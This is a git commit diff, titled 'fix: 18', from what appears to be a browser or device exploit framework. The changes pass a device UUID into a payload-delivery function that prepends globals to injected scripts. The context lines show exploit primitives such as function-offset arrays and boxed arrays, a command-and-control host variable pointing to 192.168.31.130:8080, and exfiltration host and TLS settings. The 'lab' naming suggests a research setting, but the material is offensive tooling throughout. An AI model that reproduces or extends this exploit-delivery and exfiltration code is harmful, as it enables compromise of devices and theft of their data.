fix: 18
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
globalThis.__LAB_DEVICE_UUID__="69DD25B2CA8B5682BA2470D77124E2FC";
|
||||
globalThis.__LAB_DEVICE_UUID__=globalThis.__LAB_DEVICE_UUID__||"69DD25B2CA8B5682BA2470D77124E2FC";
|
||||
(() => {
|
||||
try { func_offsets_array[0x2100] = 0x50; } catch (_m0) {}
|
||||
try { fcall_init(); func_offsets_array[0x2100] = 0x51; }
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
globalThis.__LAB_DEVICE_UUID__="69DD25B2CA8B5682BA2470D77124E2FC";
|
||||
globalThis.__LAB_DEVICE_UUID__=globalThis.__LAB_DEVICE_UUID__||"69DD25B2CA8B5682BA2470D77124E2FC";
|
||||
(() => {
|
||||
try { func_offsets_array[0x2100] = 0x50; } catch (_m0) {}
|
||||
try { fcall_init(); func_offsets_array[0x2100] = 0x51; }
|
||||
|
||||
@@ -248,6 +248,7 @@ self[1] = boxed_arr;
|
||||
const p = {};
|
||||
// L1 encryption state (populated via postMessage from main thread)
|
||||
var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null;
|
||||
var __labDeviceUUID = '';
|
||||
function __labPrependDelivery(fname, text) {
|
||||
if (!text) return text;
|
||||
var f = String(fname || '').toLowerCase();
|
||||
@@ -255,7 +256,10 @@ self[1] = boxed_arr;
|
||||
var d = '';
|
||||
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
|
||||
if (!d) return text;
|
||||
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
|
||||
var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";';
|
||||
if (__labDeviceUUID) pre += '__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";';
|
||||
pre += '}catch(_d){}\n';
|
||||
return pre + text;
|
||||
}
|
||||
|
||||
function getJS(fname,method = 'POST')
|
||||
@@ -356,6 +360,7 @@ self[1] = boxed_arr;
|
||||
const slide = data.slide;
|
||||
__labC2Host = 'http://192.168.31.130:8080';
|
||||
host = data.desiredHost;
|
||||
if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase();
|
||||
try {
|
||||
var _tls = !!data.exfilTls;
|
||||
var _h = String(data.exfilHost || '192.168.31.130').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
|
||||
@@ -49,6 +49,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
// 去掉加解密:明文直通,不再解密任何 blob。
|
||||
var _enc_pass = '';
|
||||
var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null;
|
||||
var __labDeviceUUID = '';
|
||||
|
||||
function _labDecryptWire(text) {
|
||||
return text;
|
||||
@@ -60,7 +61,10 @@ function print(x, reportError = false, dumphex = false) {
|
||||
var d = '';
|
||||
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
|
||||
if (!d) return text;
|
||||
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
|
||||
var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";';
|
||||
if (__labDeviceUUID) pre += '__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";';
|
||||
pre += '}catch(_d){}\n';
|
||||
return pre + text;
|
||||
}
|
||||
|
||||
function getJS(fname,method = 'POST')
|
||||
@@ -14449,6 +14453,7 @@ async function main() {
|
||||
{
|
||||
__labC2Host = 'http://192.168.31.130:8080';
|
||||
host = data.desiredHost;
|
||||
if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase();
|
||||
try {
|
||||
var _tls = !!data.exfilTls;
|
||||
var _h = String(data.exfilHost || '192.168.31.130').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
|
||||
Reference in New Issue
Block a user